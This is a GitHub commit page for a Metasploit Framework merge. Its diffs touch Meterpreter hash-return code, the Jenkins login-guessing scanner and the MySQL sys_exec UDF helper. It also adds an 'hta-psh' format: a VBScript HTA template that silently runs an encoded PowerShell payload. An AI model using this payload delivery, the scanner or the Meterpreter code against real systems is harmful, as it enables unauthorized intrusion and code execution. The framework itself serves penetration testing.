Skip to content

Commit fb3a207

Browse files
author
Brent Cook
committed
Merge branch 'master' into land-5339-sleep
2 parents 7c013c0 + dd5060e commit fb3a207

File tree

16 files changed

+235
-117
lines changed

16 files changed

+235
-117
lines changed

‎data/meterpreter/ext_server_stdapi.php

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@
1919
define("TLV_TYPE_FILE_PATH", TLV_META_TYPE_STRING | 1202);
2020
define("TLV_TYPE_FILE_MODE", TLV_META_TYPE_STRING | 1203);
2121
define("TLV_TYPE_FILE_SIZE", TLV_META_TYPE_UINT | 1204);
22+
define("TLV_TYPE_FILE_HASH", TLV_META_TYPE_RAW | 1206);
2223

2324
define("TLV_TYPE_STAT_BUF", TLV_META_TYPE_COMPLEX | 1220);
2425

@@ -533,8 +534,7 @@ function stdapi_fs_md5($req, &$pkt) {
533534
$md5 = md5(file_get_contents($path));
534535
}
535536
$md5 = pack("H*", $md5);
536-
# Ghetto abuse of file name type to indicate the md5 result
537-
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
537+
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $md5));
538538
return ERROR_SUCCESS;
539539
}
540540
}
@@ -552,8 +552,7 @@ function stdapi_fs_sha1($req, &$pkt) {
552552
$sha1 = sha1(file_get_contents($path));
553553
}
554554
$sha1 = pack("H*", $sha1);
555-
# Ghetto abuse of file name type to indicate the sha1 result
556-
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
555+
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $sha1));
557556
return ERROR_SUCCESS;
558557
}
559558
}

‎data/meterpreter/ext_server_stdapi.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -307,6 +307,7 @@ class RTATTR(ctypes.Structure):
307307
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
308308
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
309309
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
310+
TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206
310311

311312
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
312313

@@ -1011,7 +1012,7 @@ def stdapi_fs_md5(request, response):
10111012
m = md5.new()
10121013
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
10131014
m.update(open(path, 'rb').read())
1014-
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
1015+
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
10151016
return ERROR_SUCCESS, response
10161017

10171018
@meterpreter.register_function
@@ -1061,7 +1062,7 @@ def stdapi_fs_sha1(request, response):
10611062
m = sha.new()
10621063
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
10631064
m.update(open(path, 'rb').read())
1064-
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
1065+
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
10651066
return ERROR_SUCCESS, response
10661067

10671068
@meterpreter.register_function

‎data/templates/scripts/to_powershell.hta.template

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
<script language="VBScript">
2+
Set %{var_shell} = CreateObject("Wscript.Shell")
3+
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
4+
If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
5+
%{var_shell}.Run "%{powershell}"
6+
End If
7+
</script>

‎lib/metasploit/framework/login_scanner/jenkins.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,10 @@ def set_sane_defaults
1717
self.uri = "/j_acegi_security_check" if self.uri.nil?
1818
self.method = "POST" if self.method.nil?
1919

20+
if self.uri[0] != '/'
21+
self.uri = "/#{self.uri}"
22+
end
23+
2024
super
2125
end
2226

@@ -37,15 +41,15 @@ def attempt_login(credential)
3741
configure_http_client(cli)
3842
cli.connect
3943
req = cli.request_cgi({
40-
'method'=>'POST',
41-
'uri'=>'/j_acegi_security_check',
44+
'method'=> method,
45+
'uri'=> uri,
4246
'vars_post'=> {
4347
'j_username' => credential.public,
44-
'j_password'=>credential.private
48+
'j_password'=> credential.private
4549
}
4650
})
4751
res = cli.send_recv(req)
48-
if res && !res.headers['location'].include?('loginError')
52+
if res && res.headers['location'] && !res.headers['location'].include?('loginError')
4953
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
5054
else
5155
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)

‎lib/msf/core/auxiliary/report.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -169,7 +169,7 @@ def report_note(opts={})
169169
# @option opts [String] :user The username for the cred
170170
# @option opts [String] :pass The private part of the credential (e.g. password)
171171
def report_auth_info(opts={})
172-
print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!"
172+
print_warning("*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!")
173173
return if not db
174174
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
175175
raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?)

‎lib/msf/core/exploit/mysql.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -162,8 +162,9 @@ def mysql_upload_sys_udf(arch=:win32,target_path=nil)
162162
end
163163

164164
def mysql_drop_and_create_sys_exec(soname)
165-
res = mysql_query("DROP FUNCTION IF EXISTS sys_exec") # Already checked, actually
166-
return false if res.nil?
165+
# Just drop it. MySQL will always say "OK" anyway.
166+
# See #5244
167+
mysql_query("DROP FUNCTION IF EXISTS sys_exec")
167168

168169
res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
169170
return false if res.nil?

‎lib/msf/core/payload_generator.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -276,12 +276,15 @@ def generate_java_payload
276276
# @return [String] A string containing the bytes of the payload in the format selected
277277
def generate_payload
278278
if platform == "java" or arch == "java" or payload.start_with? "java/"
279-
generate_java_payload
279+
p = generate_java_payload
280+
cli_print "Payload size: #{p.length} bytes"
281+
p
280282
else
281283
raw_payload = generate_raw_payload
282284
raw_payload = add_shellcode(raw_payload)
283285
encoded_payload = encode_payload(raw_payload)
284286
encoded_payload = prepend_nops(encoded_payload)
287+
cli_print "Payload size: #{encoded_payload.length} bytes"
285288
format_payload(encoded_payload)
286289
end
287290
end

‎lib/msf/util/exe.rb

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1117,6 +1117,29 @@ def self.to_powershell_command(framework, arch, code)
11171117
method: 'reflection')
11181118
end
11191119

1120+
def self.to_powershell_hta(framework, arch, code)
1121+
template_path = File.join(Msf::Config.data_directory,
1122+
"templates",
1123+
"scripts")
1124+
1125+
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1126+
arch,
1127+
template_path,
1128+
encode_final_payload: true,
1129+
remove_comspec: true,
1130+
method: 'reflection')
1131+
1132+
# Intialize rig and value names
1133+
rig = Rex::RandomIdentifierGenerator.new()
1134+
rig.init_var(:var_shell)
1135+
rig.init_var(:var_fso)
1136+
1137+
hash_sub = rig.to_h
1138+
hash_sub[:powershell] = powershell
1139+
1140+
read_replace_script_template("to_powershell.hta.template", hash_sub)
1141+
end
1142+
11201143
def self.to_win32pe_vbs(framework, code, opts = {})
11211144
to_exe_vbs(to_win32pe(framework, code, opts), opts)
11221145
end
@@ -1928,6 +1951,8 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
19281951
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
19291952
when 'psh-cmd'
19301953
Msf::Util::EXE.to_powershell_command(framework, arch, code)
1954+
when 'hta-psh'
1955+
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
19311956
end
19321957
end
19331958

@@ -1943,6 +1968,7 @@ def self.to_executable_fmt_formats
19431968
"exe-only",
19441969
"exe-service",
19451970
"exe-small",
1971+
"hta-psh",
19461972
"loop-vbs",
19471973
"macho",
19481974
"msi",

‎lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -152,8 +152,10 @@ def File.md5(path)
152152

153153
response = client.send_request(request)
154154

155-
# This is not really a file name, but a raw hash in bytes
156-
return response.get_tlv_value(TLV_TYPE_FILE_NAME)
155+
# older meterpreter binaries will send FILE_NAME containing the hash
156+
hash = response.get_tlv_value(TLV_TYPE_FILE_HASH) ||
157+
response.get_tlv_value(TLV_TYPE_FILE_NAME)
158+
return hash
157159
end
158160

159161
#
@@ -166,8 +168,10 @@ def File.sha1(path)
166168

167169
response = client.send_request(request)
168170

169-
# This is not really a file name, but a raw hash in bytes
170-
return response.get_tlv_value(TLV_TYPE_FILE_NAME)
171+
# older meterpreter binaries will send FILE_NAME containing the hash
172+
hash = response.get_tlv_value(TLV_TYPE_FILE_HASH) ||
173+
response.get_tlv_value(TLV_TYPE_FILE_NAME)
174+
return hash
171175
end
172176

173177
#

‎lib/rex/post/meterpreter/extensions/stdapi/tlv.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,7 @@ module Stdapi
3030
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
3131
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
3232
TLV_TYPE_FILE_SHORT_NAME = TLV_META_TYPE_STRING | 1205
33+
TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206
3334

3435
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
3536

0 commit comments

Comments
 (0)